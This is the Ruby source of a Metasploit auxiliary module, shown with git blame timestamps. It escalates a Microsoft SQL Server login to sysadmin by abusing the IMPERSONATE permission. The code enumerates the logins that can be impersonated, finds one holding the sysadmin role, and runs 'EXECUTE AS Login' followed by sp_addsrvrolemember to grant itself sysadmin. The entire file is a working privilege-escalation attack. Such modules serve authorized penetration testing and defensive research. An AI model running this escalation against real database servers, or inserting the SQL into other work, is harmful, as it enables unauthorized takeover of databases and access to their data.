metasploit-framework/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb

158 lines
4.7 KiB
Ruby
Raw Normal View History

2014-11-03 17:29:15 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2014-11-03 17:29:15 +00:00
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
2014-12-09 16:28:45 +00:00
'Name' => 'Microsoft SQL Server Escalate EXECUTE AS',
2014-11-10 22:57:57 +00:00
'Description' => %q{
This module can be used escalate privileges if the IMPERSONATION privilege has been
2014-11-13 20:48:23 +00:00
assigned to the user. In most cases, this results in additional data access, but in
2014-11-10 22:57:57 +00:00
some cases it can be used to gain sysadmin privileges.
2014-11-03 17:29:15 +00:00
},
2014-11-10 22:57:57 +00:00
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
'License' => MSF_LICENSE,
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
2014-11-03 17:29:15 +00:00
))
end
def run
# Check connection and issue initial query
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
if mssql_login_datastore
print_good('Connected.')
else
print_error('Login was unsuccessful. Check your credentials.')
disconnect
return
end
# Query for sysadmin status
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
user_status = check_sysadmin
# Check if user has sysadmin role
if user_status == 1
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
disconnect
return
else
print_status("You're NOT a sysadmin, let's try to change that.")
end
# Get a list of the users that can be impersonated
print_status("Enumerating a list of users that can be impersonated...")
imp_user_list = check_imp_users
if imp_user_list.nil? || imp_user_list.length == 0
2014-11-10 22:57:57 +00:00
print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.')
2014-11-03 17:29:15 +00:00
disconnect
return
else
2014-11-04 14:51:27 +00:00
# Display list of users that can be impersonated
2014-11-03 17:29:15 +00:00
print_good("#{imp_user_list.length} users can be impersonated:")
imp_user_list.each do |db|
print_status(" - #{db[0]}")
end
end
# Check if any of the users that can be impersonated are sysadmins
print_status('Checking if any of them are sysadmins...')
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
if imp_user_sysadmin.nil?
2014-11-10 22:57:57 +00:00
print_error('Sorry, none of the users that can be impersonated are sysadmins.')
2014-11-03 17:29:15 +00:00
disconnect
return
end
# Attempt to escalate to sysadmin
print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...")
escalate_status = escalate_privs(imp_user_sysadmin[0])
if escalate_status
# Check if escalation was successful
user_status = check_sysadmin
if user_status == 1
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
else
2014-11-10 22:57:57 +00:00
print_error('Fail buckets, something went wrong.')
2014-11-03 17:29:15 +00:00
end
else
2014-11-10 22:57:57 +00:00
print_error('Error while trying to escalate privileges.')
2014-11-03 17:29:15 +00:00
end
disconnect
return
end
# Checks if user is a sysadmin
def check_sysadmin
# Setup query to check for sysadmin
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
# Run query
result = mssql_query(sql)
# Parse query results
parse_results = result[:rows]
status = parse_results[0][0]
# Return status
return status
end
# Gets trusted databases owned by sysadmins
def check_imp_users
# Setup query
sql = "SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
2014-11-04 14:51:27 +00:00
ON a.grantor_principal_id = b.principal_id
2014-11-03 17:29:15 +00:00
WHERE a.permission_name = 'IMPERSONATE'"
result = mssql_query(sql)
# Return on success
return result[:rows]
end
# Checks if user has the db_owner role
def check_imp_sysadmin(trust_db_list)
# Check if the user has the db_owner role is any databases
trust_db_list.each do |imp_user|
2014-11-04 14:51:27 +00:00
# Setup query
2014-11-03 17:29:15 +00:00
sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status"
# Run query
result = mssql_query(sql)
# Parse query results
parse_results = result[:rows]
status = parse_results[0][0]
if status == 1
2014-11-04 14:51:27 +00:00
print_good(" - #{imp_user[0]} is a sysadmin!")
return imp_user
2014-11-03 17:29:15 +00:00
else
print_status(" - #{imp_user[0]} is NOT sysadmin!")
2014-11-04 14:51:27 +00:00
end
2014-11-03 17:29:15 +00:00
end
nil
end
def escalate_privs(imp_user_sysadmin)
2014-11-04 15:07:08 +00:00
# Impersonate the first sysadmin user on the list
2014-11-03 17:29:15 +00:00
evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';
EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"
mssql_query(evil_sql_create)
true
end
end